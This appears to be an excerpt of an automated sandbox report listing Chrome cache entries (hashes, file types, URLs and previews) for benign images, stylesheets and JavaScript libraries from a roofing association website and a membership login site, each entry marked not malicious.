t=W.meanMenuTarget,r=W.meanMenuContainer,i=W.meanMenuClose,s=W.meanMenuCloseSize,m=W.meanMenuOpen,u=W.meanMenuFixed,l=W.meanRevealPosition,e=W.meanRevealPositionDistance,o=W.meanRevealColour,c=W.meanScreenWidth,v=W.meanNavPush,h=".meanmenu-reveal",d=W.meanShowChildren,y=W.meanExpandableChildren,j=W.meanExpand,Q=W.meanContract,f=W.meanRemoveAttrs,g=W.onePage,n=W.meanDisplay,p=W.removeElements,a=!1;(navigator.use

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2118
Entropy (8bit):	7.8565446441940665
Encrypted:	false
SSDEEP:	48:ouN88vbim+8XZtI0/cRAidr7Upn1BibEVvYwpDEa0Qc:PFmwI0ni97MXibavhpDEXp
MD5:	6C86E3361EEDBF12D3580FE7656BE0F9
SHA1:	E04074600AA9CC5F9AA940E1EB52C74D17FD56D4
SHA-256:	601086A252A04F02E53FEA00ACD20E29EC643B51E5901439410833FA00437F6F
SHA-512:	477F08498E685648491CD092EEBFB5A5D05CAE0E0E6EE5C4D09A5363361AA2C87F8E86386FE77B148E35BD4459B9446E112732D5E7DEA138CDE7597D8FB53CBE
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/cropped-logo-icon-150x150.png
Preview:	.PNG........IHDR...................HPLTE.nl....@9...v&....u#....v$..fc...t!........SOt!....t ..........u"....t ...#4....tRNS....$4=O^bi...............t....IDATx.....F.... ...o:.'...d..f_..Y.WQ'..buGh_..0.{.i..V.\.N....Ej..."\|Y.Ep..$,!.......j.X.IYR.u\..`-..`-.i...N,.."X..Z..a...XV..`.=`. .h.....@G#X........#..d....U[.$.DX.,[..`Z0P..M.9......ce.....,C[..`eh+j..&.@._..J.....;..&..bm....+..X..+.>.M..\.....#.$..)h..zTLm+~.u....n{...\/.~..../I........b....0..J1..IA...m...[.h#.IN...Y6M.DA;.B..A1...$V......L..`4.~.%....%.b.+.`.hw....$9..H......K..R.....yRJ......./Q#.....m.....&....._..M....O..0]....Rk........N./W..H.}5.hW.....\.G...O..+....p.......V..........I.pa..)f....1BM.4....u/..j....,.^..4M.c..:XU..6w.......U.<k6..FZ;+.h....u..R^...j..i._.S...%.m.V.Y........Z:.....R.[W..Ur....16......W....$-..R...9lM...:wVp...s.../..z..y2d.N......g...m.z..Y.v..Gs"P...../.f..].gbp..5/..Y.<...O..E.l.y...;.K.V./am.y..-.Z.Z ..k*.\.x.Wp.V.W..7L...F\N..Yr..Y..

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1427
Entropy (8bit):	4.671986321778929
Encrypted:	false
SSDEEP:	24:0zu89vEkWUduDTPSpuEzVg+lHYSAvzB8voBv38lrcrzmVeAMzBd67VjF:r89vEkdyGZTHlAvlAUwWJd67VjF
MD5:	49EBCAA52A04B2E95C3A19C158ADFB3D
SHA1:	66A8641FF5FCFDFEC5385736AC136D2D33D13AB3
SHA-256:	2464ADE872046D82B8C2DE95158108E5C269D8BA6689D3EBC8DBB7ADBBE6BC5F
SHA-512:	ECC90DAD2FE29CD2BB14016090600113901B5BA51915076B56A54883DE4FD77021C7413106E9BF5678864972D7E463E19615C99E72C18C31FA3B37304FB18B12
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/system-messages.css
Preview:	/* ---------------------------------------------------- /./ -------- JMC MESSAGE AREA -------------------------- /./ ---------------------------------------------------- /../ ---------------------------------------------------- /./ .These are specific to the front end. ...././.There are admin-specific styles in ....././..administrator/includes/css/sys-msg.css..././ ---------------------------------------------------- */...#bkg dl#system-message {. border-radius: 3px;. overflow: hidden;. padding: 16px;. margin: 0;. background: #FFF8D6; . border: 1px solid #E1CC69;. color: #4a4a4a;. font-size: 15px;.}.#bkg dl#system-message {margin-bottom: 40px;}.#bkg dl#system-message dt {font-weight: bold; margin-bottom: 6px;}.#bkg dl#system-message dd {margin: 0 0 16px; font-weight: normal; text-indent: 0}.#bkg dl#system-message dd:last-child {margin-bottom: 0px;}.#bkg dl#system-message li {padding: 0; margin: 0; line-height: normal;}.#bkg dl#system-message .erro

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4112), with CRLF line terminators
Category:	downloaded
Size (bytes):	4330
Entropy (8bit):	5.361372836701116
Encrypted:	false
SSDEEP:	96:VPYaTbFaRZqD1B7sfha1s+Gib2V81qJQOPG:WaQRZqKhadGib2VyO4
MD5:	C6DF8E890079A5BF367653CE7A4A181D
SHA1:	81DD20E943C855B794360CF74F3BFB1EAC0AA3DE
SHA-256:	58C5FB14D40E03A30B242153B35222EF2C66912229FE98E3BAD88AFD8BB4AA37
SHA-512:	69B6292EF98E51F74102E9B4C82438D0F17438CCA34CC11EB0D385B71480D149B513791F0238CCA3E6B762ACDDCE8EE7A76B5E59A70D6647AAC736C7E7EA758F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/masked-input-plugin/jquery.maskedinput.min.js?ver=1.3.1
Preview:	/.. jQuery Masked Input Plugin.. Copyright (c) 2007 - 2015 Josh Bush (digitalbush.com).. Licensed under the MIT license (http://digitalbush.com/projects/masked-input-plugin/#license).. Version: 1.4.1../..!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):jQuery)}(function(a){var b,c=navigator.userAgent,d=/iphone/i.test(c),e=/chrome/i.test(c),f=/android/i.test(c);a.mask={definitions:{9:"[0-9]",a:"[A-Za-z]","*":"[A-Za-z0-9]"},autoclear:!0,dataName:"rawMaskFn",placeholder:"_"},a.fn.extend({caret:function(a,b){var c;if(0!==this.length&&!this.is(":hidden"))return"number"==typeof a?(b="number"==typeof b?b:a,this.each(function(){this.setSelectionRange?this.setSelectionRange(a,b):this.createTextRange&&(c=this.createTextRange(),c.collapse(!0),c.moveEnd("character",b),c.moveStart("character",a),c.select())})):(this[0].setSelectionRange?(a=this[0].selectionStart,b=this[0].selectionEnd):document.selection&&document.sel

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3037), with no line terminators
Category:	downloaded
Size (bytes):	3037
Entropy (8bit):	5.026952757433623
Encrypted:	false
SSDEEP:	48:1EnFLJZDvWr+TM63qbDqipYFW8a29yLb7gf+YopNa2SyGbVAf9ZV7/Y62tpyrf:1En5JZDc+Tj3qbD98a2YLb7Q+1Ha2S9O
MD5:	4E544022235CED14996464116A9ED9B2
SHA1:	31EE19D95973124B812A22C5FF5944D5B5BF8147
SHA-256:	4EF2D5B0EF62523AF87F3E13D8061449B2DDBFCE07064F26B1305084ABBF18F1
SHA-512:	EB44340E18057644C9786A4DD1B21E27CBEC8EDC5EB36D77238D3091B484E8CD7030A7DF58175C55D4A8F00100068FF3F09CB600D3417896B3A5FE31B7D7E1F3
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=7.0.0
Preview:	jQuery(function(d){if("undefined"==typeof wc_add_to_cart_params)return!1;var t=function(){this.requests=[],this.addRequest=this.addRequest.bind(this),this.run=this.run.bind(this),d(document.body).on("click",".add_to_cart_button",{addToCartHandler:this},this.onAddToCart).on("click",".remove_from_cart_button",{addToCartHandler:this},this.onRemoveFromCart).on("added_to_cart",this.updateButton).on("ajax_request_not_sent.adding_to_cart",this.updateButton).on("added_to_cart removed_from_cart",{addToCartHandler:this},this.updateFragments)};t.prototype.addRequest=function(t){this.requests.push(t),1===this.requests.length&&this.run()},t.prototype.run=function(){var t=this,a=t.requests[0].complete;t.requests[0].complete=function(){"function"==typeof a&&a(),t.requests.shift(),0<t.requests.length&&t.run()},d.ajax(this.requests[0])},t.prototype.onAddToCart=function(t){var a=d(this);if(a.is(".ajax_add_to_cart")){if(!a.attr("data-product_id"))return!0;if(t.preventDefault(),a.removeClass("added"),a.ad

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	17784
Entropy (8bit):	4.449723070403813
Encrypted:	false
SSDEEP:	192:CMwVeYuOk4BhfYgsrbcRTEMCqHkNRlRD3sLxEhKyHw4GkSkVLTt6wT+iLYtj:EdTQgUwR9eNlD3WxeKO5sSFThA
MD5:	2D3F3C9B6A088B2F58E7CCD1A7C0403D
SHA1:	6B329B4A0D39D531ED62B3F7671E0FDB04C9A4A6
SHA-256:	86D7F2503AB9A7BD48216578954070FB1273AF44E39A8C5597A853F9768C38B5
SHA-512:	F9FF27085621340BA0FC78A6B76B05FA2E8097B61D42B6AEFADE5A3CD0DD0F3B9012F652936DAE71D9D409F2F7EA91C3343D42853E342F317B78E5643A1D29CE
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/js/json2.js
Preview:	/*.. http://www.JSON.org/json2.js.. 2009-04-16.... Public Domain..... NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..... See http://www.JSON.org/js.html.... This file creates a global JSON object containing two methods: stringify.. and parse..... JSON.stringify(value, replacer, space).. value any JavaScript value, usually an object or array..... replacer an optional parameter that determines how object.. values are stringified for objects. It can be a.. function or an array of strings..... space an optional parameter that specifies the indentation.. of nested structures. If it is omitted, the text will.. be packed without extra whitespace. If it is a number,.. it will specify the number of spaces to indent at each.. level. If it is a string (such as '\t' or ' ')

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x122, components 3
Category:	dropped
Size (bytes):	3899
Entropy (8bit):	7.840313484392456
Encrypted:	false
SSDEEP:	96:2/80ihXs4E8f4mWlxuL9UOGndIfmuNPSXYtvgGkd:sziW7m4m63nd+IGY
MD5:	187CD40A1108CF7EB1ED2CBE8B155CCA
SHA1:	50149837BB7373CC3A9E9B7525E1BB9DE8F1E173
SHA-256:	452C860762F502A18D8D254A6B0A850AEF614AEA526B28C27394AE20AF0A6C45
SHA-512:	BE99FF251866781B8C157B5364B9A096558B626DB7E41FD4BD5CA9F46767DA6B073C02CFC6FBB853B8378619B06153759747D040AC2A90292D9111C3E0B280B4
Malicious:	false
Reputation:	low
Preview:	......JFIF...........................................0.#..#.03)')3L;55;LWIEIWj__j...................................0.#..#.03)')3L;55;LWIEIWj__j............z.,..".................................................5.....'..0..$..u.[....{....j.7.wR.O.N........U.X..P.;....j\&........)l...$.5.C ....z..A.....j...{d.i......c.\..q..}.BMK..y..>....2....w..$.~{...z.\|.........7........$.#c.........9}..$.~x. ..Ww..t(._.5 BM?.+...9}?......i\}A BM7....dji...c.0er.{z.Q...w.Y_..G..9M.d..!W...Q...L...o...9Z........N.kB...P..L....Y..{....7.u[...h....Y.......................................^@...F.....t."@g."......Z.=@g.zGj.{N.)....nr......Wp.............................................!..@.h.,Q.#....'......9g.......E..j+.`...,.J..y.....{......K...........................!1Q..2A.."#05@aq.... BRTrst...$&4Cb..SUc.D............?...S%.K......jQ$....^......?&.../DR.....F...~.W.*..\|k...G.\..?:....<...<^.7X.....VJ"....$}A..h-.,......&.?....Mj...)..[!02......ac.../...0.&...

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1128)
Category:	downloaded
Size (bytes):	212783
Entropy (8bit):	5.035224057059007
Encrypted:	false
SSDEEP:	1536:6NW7FGFb8UDZqQbgS+Xcdsf5Fpgher9fPwmzPCSUk86dTfsiiOSf6BATN4tpSGj+:Ksf5ImTGMeuriFegkDw
MD5:	82D9971883772A1F8AAABBCDF6D2508F
SHA1:	CC0EBE95CB44A458576E70750B54B1575596DD88
SHA-256:	EB75294AA74C4735591D30A80F6F6D2EA66CD2B081ED47212F5B62CD4DE21318
SHA-512:	95CE81FE04C956DB30B70D0983F8CA2D1E9B91C01E9495D6E66438747B766FF9B715A6D2B17E9F9F7E75BC847D8ADDAF68548DE235934AC1498F101216E1AD52
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/js/jquery.dataTables.js
Preview:	/. File: jquery.dataTables.js. * Version: 1.7.6. * Description: Paginate, search and sort HTML tables. * Author: Allan Jardine (www.sprymedia.co.uk). * Created: 28/3/2008. * Language: Javascript. * License: GPL v2 or BSD 3 point style. * Project: Mtaala. * Contact: allan.jardine@sprymedia.co.uk. * . * Copyright 2008-2010 Allan Jardine, all rights reserved.. . This source file is free software, under either the GPL v2 license or a. * BSD style license, as supplied with this software.. * . * This source file is distributed in the hope that it will be useful, but . * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY . * or FITNESS FOR A PARTICULAR PURPOSE. See the license files for details.. * . * For details please refer to: http://www.datatables.net. /../. * When considering jsLint, we need to allow eval() as it it is used for reading cookies and . * building the dynamic multi-column sort functions.. /./jslint evil: t

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	4.520829475849048
Encrypted:	false
SSDEEP:	6:2LGZFbz+UFvqX3yNfb1+22HWjGU9UIifoAMLDNe:28qiaK5/tMoAM3M
MD5:	2A5E09407B9EE5F309390EC090F4DCA9
SHA1:	8249EDA67EDE28AE157585E96A95B6CEE0E740A9
SHA-256:	81C96E1E00234B9D88DFFD0694F42F23BA96DB4D243D0673C3BC776FABA534FC
SHA-512:	DB6464BFD3AE3042AA8DCD3FBE80EF0383A60533992ABB9D9FE520BA8A6875E64063DFFF9743F4FC63260BBE8A7DA3F94FA929B828A653D6F43B192BAAB00C6C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884048509
Preview:	(function (w) {. . . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab');. }. . .}(window));

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6747)
Category:	downloaded
Size (bytes):	262422
Entropy (8bit):	5.42307706709398
Encrypted:	false
SSDEEP:	6144:6zrtVY+yOyukYkjCrnwsNgYCsGsRttxo1nSN4fLWIGur/OML4D6586:6zjY+yOyukYkernqYJxo1nSNGLWIGurh
MD5:	418ECBB83C2DF2A704FDEC98CBA736BF
SHA1:	0B0535EBE27DFCEF7437BC75CF33648C61BE3DBE
SHA-256:	CF0C03BD0EFEE39705D10989E116CE08D2810C4ED1B578B6451DD26A34BEEDE5
SHA-512:	78580875F8CED25106945DF41C7F99DFE054632CF856556FBC7338C15387C9154C88B3E4035E320BCFC33463D4BF1BEFF3DF3D4EE980AC49BE7AD066A0283C89
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/common.js
Preview:	google.maps.__gjsload__('common', function(_){var Dda,Eda,Fda,Hda,Jda,Kda,Lda,ss,Fs,Js,Rda,Sda,Tda,it,lt,kt,Uda,mt,Vda,nt,qt,st,ut,yt,Xda,Yda,$da,bea,Ht,Zda,cea,dea,eea,Yt,du,fu,ju,mu,vu,gea,dv,nv,pv,ov,lea,Iv,mea,Lv,Mv,Nv,Qv,Wv,Zv,Xv,aw,oea,bw,pea,ew,kw,tea,mw,nw,uea,pw,qw,rw,vw,xw,ww,zw,yw,sw,Aw,Iw,yea,Kw,Mw,Pw,Tw,uy,Zea,afa,bfa,mz,Jz,xfa,Afa,yfa,Wz,Efa,Ffa,Pfa,Qfa,Rfa,Sfa,pA,qA,Vfa,Wfa,Xfa,Yfa,rA,Gda,Ida,Qy,Ry,$fa,$ea,Py,Ty,Mda,Nda,cfa,Oda,Pda,aga,bt,aea,fga,gga,hga,iga,yA,Gy,kga,lga,mga,Bt,Ct,nga,jfa,wfa,ufa,Wt,oga,fea,nu;._.Yr=function(a,b){return _.ca[a]=b};Dda=function(a,b){return _.yd(b)};.Eda=function(a){return JSON.stringify(a,function(b,c){switch(typeof c){case "boolean":case "string":case "undefined":return c;case "number":return isNaN(c)\|\|Infinity===c\|\|-Infinity===c?String(c):c;case "object":if(Array.isArray(c)){b=c.length;var d=c[b-1];if(_.Mg(d)){b--;const e=!_.Xg(c);let f=0;for(const [g,h]of Object.entries(d)){d=g;const l=h;if(null!=l){f++;if(e)break;l instanceof _.ch&&l

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x122, components 3
Category:	downloaded
Size (bytes):	3899
Entropy (8bit):	7.840313484392456
Encrypted:	false
SSDEEP:	96:2/80ihXs4E8f4mWlxuL9UOGndIfmuNPSXYtvgGkd:sziW7m4m63nd+IGY
MD5:	187CD40A1108CF7EB1ED2CBE8B155CCA
SHA1:	50149837BB7373CC3A9E9B7525E1BB9DE8F1E173
SHA-256:	452C860762F502A18D8D254A6B0A850AEF614AEA526B28C27394AE20AF0A6C45
SHA-512:	BE99FF251866781B8C157B5364B9A096558B626DB7E41FD4BD5CA9F46767DA6B073C02CFC6FBB853B8378619B06153759747D040AC2A90292D9111C3E0B280B4
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/ga_0-300x122.jpg
Preview:	......JFIF...........................................0.#..#.03)')3L;55;LWIEIWj__j...................................0.#..#.03)')3L;55;LWIEIWj__j............z.,..".................................................5.....'..0..$..u.[....{....j.7.wR.O.N........U.X..P.;....j\&........)l...$.5.C ....z..A.....j...{d.i......c.\..q..}.BMK..y..>....2....w..$.~{...z.\|.........7........$.#c.........9}..$.~x. ..Ww..t(._.5 BM?.+...9}?......i\}A BM7....dji...c.0er.{z.Q...w.Y_..G..9M.d..!W...Q...L...o...9Z........N.kB...P..L....Y..{....7.u[...h....Y.......................................^@...F.....t."@g."......Z.=@g.zGj.{N.)....nr......Wp.............................................!..@.h.,Q.#....'......9g.......E..j+.`...,.J..y.....{......K...........................!1Q..2A.."#05@aq.... BRTrst...$&4Cb..SUc.D............?...S%.K......jQ$....^......?&.../DR.....F...~.W.*..\|k...G.\..?:....<...<^.7X.....VJ"....$}A..h-.,......&.?....Mj...)..[!02......ac.../...0.&...

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (402)
Category:	downloaded
Size (bytes):	19888
Entropy (8bit):	4.995024918055659
Encrypted:	false
SSDEEP:	384:SyyFLTgoWXGF3gPdarLAd+KHcT3GlvHpJa/Hs3f6Pyt2P8ye8TS0q+KauSORXN4E:SyyFLTgWeuS0q+KauSOt
MD5:	858C5F823F8C29A746C887E8850467A4
SHA1:	36827512455B482C891CFFD4F2EE711564529BDB
SHA-256:	C8AEBD1AEA66D11B332C312912362865E273BCA35CE2E1BEAE1AF087F294660C
SHA-512:	098AE67EF2B2A176CA4064FB6F46DFB2EB8869EC96D06E18435E1C2BFE100810975483277D21A050806361A7B1D0097A474C41E1C60EF60E17C00BBF59DB2D1D
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/prettyPhoto/css/prettyPhoto.css?ver=3.1.6
Preview:	div.pp_default .pp_top,div.pp_default .pp_top .pp_middle,div.pp_default .pp_top .pp_left,div.pp_default .pp_top .pp_right,div.pp_default .pp_bottom,div.pp_default .pp_bottom .pp_left,div.pp_default .pp_bottom .pp_middle,div.pp_default .pp_bottom .pp_right{height:13px}.div.pp_default .pp_top .pp_left{background:url(../images/prettyPhoto/default/sprite.png) -78px -93px no-repeat}.div.pp_default .pp_top .pp_middle{background:url(../images/prettyPhoto/default/sprite_x.png) top left repeat-x}.div.pp_default .pp_top .pp_right{background:url(../images/prettyPhoto/default/sprite.png) -112px -93px no-repeat}.div.pp_default .pp_content .ppt{color:#f8f8f8}.div.pp_default .pp_content_container .pp_left{background:url(../images/prettyPhoto/default/sprite_y.png) -7px 0 repeat-y;padding-left:13px}.div.pp_default .pp_content_container .pp_right{background:url(../images/prettyPhoto/default/sprite_y.png) top right repeat-y;padding-right:13px}.div.pp_default .pp_next:hover{background:url(../images/pretty

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33436), with no line terminators
Category:	downloaded
Size (bytes):	33436
Entropy (8bit):	5.32435772468428
Encrypted:	false
SSDEEP:	384:LfGI0sL5QxBrHT6x2vrhYBwdDaXETK2DNrkM3rrwvPrwa/bdi:jGIQxBXGohNOX8K2DNrkM3Xwv8a/A
MD5:	DECA2312F4B383A9F97846A8688EBA93
SHA1:	4F8EB9A9C4D0DA4539C6907F11D4798C23B3FE22
SHA-256:	F0E8D0624251423D6AE3A63A3B88A4B051968552C7FFC6F2604DEF5EAAC0028A
SHA-512:	524221D0FCCB92A2FFA4C43FE99EFB7D3CC9DC40CCAD36693A398160C817061400FA919E53166DAFCB868C4110D7A4633C88634F438652B239D2DB644A6C7A77
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/ui-login/v1/dist/7.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[7],{"f+ep":function(e,n,t){"use strict";t.r(n);var l=t("CcnG"),i=function(){return function(){}}(),a=t("pMnS"),o=t("Mr+X"),r=t("SMsm"),c=t("FVSy"),u=t("Ip0R"),s=t("ZYCi"),d=t("lzlj"),b=t("dJrM"),m=t("seP3"),h=t("Wf4p"),p=t("Fzqc"),k=t("dWZg"),f=t("wFw1"),g=t("gIcY"),x=t("b716"),_=t("/VYK"),y=t("mrSG"),v=t("n6gG"),B=new l.p("mat-checkbox-click-action"),w=0,C=function(){var e={Init:0,Checked:1,Unchecked:2,Indeterminate:3};return e[e.Init]="Init",e[e.Checked]="Checked",e[e.Unchecked]="Unchecked",e[e.Indeterminate]="Indeterminate",e}(),I=function(){return function(){}}(),S=function(){return function(e){this._elementRef=e}}(),q=function(e){function n(n,t,i,a,o,r,c){var u=e.call(this,n)\|\|this;return u._changeDetectorRef=t,u._focusMonitor=i,u._ngZone=a,u._clickAction=r,u._animationMode=c,u.ariaLabel="",u.ariaLabelledby=null,u._uniqueId="mat-checkbox-"+ ++w,u.id=u._uniqueId,u.labelPosition="after",u.name=null,u.change=new l.m,u.indeterminate

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1668)
Category:	downloaded
Size (bytes):	1834
Entropy (8bit):	5.438090839180011
Encrypted:	false
SSDEEP:	24:MVV/bOd+rBLmYaQXfyso2N8wBALiVkJI9H+oWU/Anzze6ibkcun2GZWkY5cQXBv3:EKQr3ys3DAL/I9ezpFiYefXdKik44Mz
MD5:	D0A6D8547C66B0D7B0172466558D1208
SHA1:	FF93916519C7B9483251F609E4D29F38C30A66E3
SHA-256:	3B1384FF918D4B7F95F9EE5C8FC388203DEDFF7344D3D96598C9562162788612
SHA-512:	48BB25B08BFCC9944CD1FC3BD039EA41D1A870F488971839F2891B91710F3FF9EB0B523AA7AB888BF9968BBBCA41A48761405ABBAFC6C6D24927C078049545B8
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.7.0.0
Preview:	/!. JavaScript Cookie v2.1.4. * https://github.com/js-cookie/js-cookie. . Copyright 2006, 2015 Klaus Hartl & Fagner Brack. * Released under the MIT license. /.!function(e){var n,o,t=!1;"function"==typeof define&&define.amd&&(define(e),t=!0),"object"==typeof exports&&(module.exports=e(),t=!0),t\|\|(n=window.Cookies,(o=window.Cookies=e()).noConflict=function(){return window.Cookies=n,o})}(function(){function m(){for(var e=0,n={};e<arguments.length;e++){var o,t=arguments[e];for(o in t)n[o]=t[o]}return n}return function e(C){function g(e,n,o){var t,r;if("undefined"!=typeof document){if(1<arguments.length){"number"==typeof(o=m({path:"/"},g.defaults,o)).expires&&((r=new Date).setMilliseconds(r.getMilliseconds()+864e5o.expires),o.expires=r),o.expires=o.expires?o.expires.toUTCString():"";try{t=JSON.stringify(n),/^[\{\[]/.test(t)&&(n=t)}catch(l){}n=C.write?C.write(n,e):encodeURIComponent(String(n)).replace(/%(23\|24\|26\|2B\|3A\|3C\|3E\|3D\|2F\|3F\|40\|5B\|5D\|5E\|60\|7B\|7D\|7C)/g,decodeURIComponent),e=(

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Compressed by jpeg-recompress", progressive, precision 8, 5616x3744, components 3
Category:	downloaded
Size (bytes):	2288904
Entropy (8bit):	7.985919152593688
Encrypted:	false
SSDEEP:	49152:shbL3V37uAKfBgX38ufThLX8855E7/eI2hX1D6ediY6T51XqFL:shvlCAYacEtX8855C2dziYW51Xq9
MD5:	6B18BFB9367516F57D408C2BD383DD37
SHA1:	A75DF5448CD4CB9EC15411611A75B95A518F045E
SHA-256:	BB4D9CB3086DE151BF0EFC8F5820FD550D92FCD621F80AE7B095310A3BAE9AD9
SHA-512:	6F238E9CCF01E9A893D3D99B88F098EC367ADCB5A003CEFB954FBF29166D3D9B31E2EEC0C949265D741CC2D3101D34B88606E05EB24C8E6525B7F64D89A7E374
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/media/2017/10/cmw-E-facade-front-1.jpg
Preview:	......JFIF............. Compressed by jpeg-recompress...........................(.....(=&-&&-&=6B525B6aLDDLap^Y^p.zz.............................(.....(=&-&&-&=6B525B6aLDDLap^Y^p.zz..................".....................................................g.WO..rM.h....-.[..S.a...o...]^...9....w.{.:.O..9..;.....p.=._..U.....-.6..rv.]gL.b.b.V...u..rl.>O.....\|.........vn.U./.....p=.._+.<<..E....r,.].t,oa..q)......wV.W......S..;........$"`............................."H.................."H........@...."H.............. ........`..........................@..H..... ........(......o5.h....v\|..d..?U..x=."f..u.....^...=..c.n....v-\|..%<.[...x..g'..,<.W..^_S..d..q.\|~.#......./...:...t.s...1.O?..t<.s....}O...u.......<."......x9.^....m..c..z.]...\|.-.{.;.hK...~.........@............................0.......@..................A!......0.........0.L.........@..........1............HD....................G..!@7.!..0y.(v..v..\zo...6.?......._/n.C...>..\S...c.:x.lty.........{~....5...j..i

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2118
Entropy (8bit):	7.8565446441940665
Encrypted:	false
SSDEEP:	48:ouN88vbim+8XZtI0/cRAidr7Upn1BibEVvYwpDEa0Qc:PFmwI0ni97MXibavhpDEXp
MD5:	6C86E3361EEDBF12D3580FE7656BE0F9
SHA1:	E04074600AA9CC5F9AA940E1EB52C74D17FD56D4
SHA-256:	601086A252A04F02E53FEA00ACD20E29EC643B51E5901439410833FA00437F6F
SHA-512:	477F08498E685648491CD092EEBFB5A5D05CAE0E0E6EE5C4D09A5363361AA2C87F8E86386FE77B148E35BD4459B9446E112732D5E7DEA138CDE7597D8FB53CBE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...................HPLTE.nl....@9...v&....u#....v$..fc...t!........SOt!....t ..........u"....t ...#4....tRNS....$4=O^bi...............t....IDATx.....F.... ...o:.'...d..f_..Y.WQ'..buGh_..0.{.i..V.\.N....Ej..."\|Y.Ep..$,!.......j.X.IYR.u\..`-..`-.i...N,.."X..Z..a...XV..`.=`. .h.....@G#X........#..d....U[.$.DX.,[..`Z0P..M.9......ce.....,C[..`eh+j..&.@._..J.....;..&..bm....+..X..+.>.M..\.....#.$..)h..zTLm+~.u....n{...\/.~..../I........b....0..J1..IA...m...[.h#.IN...Y6M.DA;.B..A1...$V......L..`4.~.%....%.b.+.`.hw....$9..H......K..R.....yRJ......./Q#.....m.....&....._..M....O..0]....Rk........N./W..H.}5.hW.....\.G...O..+....p.......V..........I.pa..)f....1BM.4....u/..j....,.^..4M.c..:XU..6w.......U.<k6..FZ;+.h....u..R^...j..i._.S...%.m.V.Y........Z:.....R.[W..Ur....16......W....$-..R...9lM...:wVp...s.../..z..y2d.N......g...m.z..Y.v..Gs"P...../.f..].gbp..5/..Y.<...O..E.l.y...;.K.V./am.y..-.Z.Z ..k*.\.x.Wp.V.W..7L...F\N..Yr..Y..

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2433
Entropy (8bit):	5.1166633859677
Encrypted:	false
SSDEEP:	48:LHNHADrBSSUkib1130XG8ZhX4B/MgJ8Az4JSA9xcYN+hJe:LNADrBZUvb1d0XG8ZYJ8o4JSSaYNIJe
MD5:	6544523B588A768E41B1E599F64043E3
SHA1:	B9CBF62816B8F9D5EC06EA8F400CDF45B5766A8F
SHA-256:	234776216D7567791B76754EE9A1BCBF36951EB4A2F57C435ABAD4649ED43D96
SHA-512:	A796C8227C3B34946CC151C447A2C20403DDDFA547253AB1593B21A85A54FBD288CCE8255305F0C3F50994AC71CC5E030B667961041A18812E094C61556BD0D9
Malicious:	false
Reputation:	low
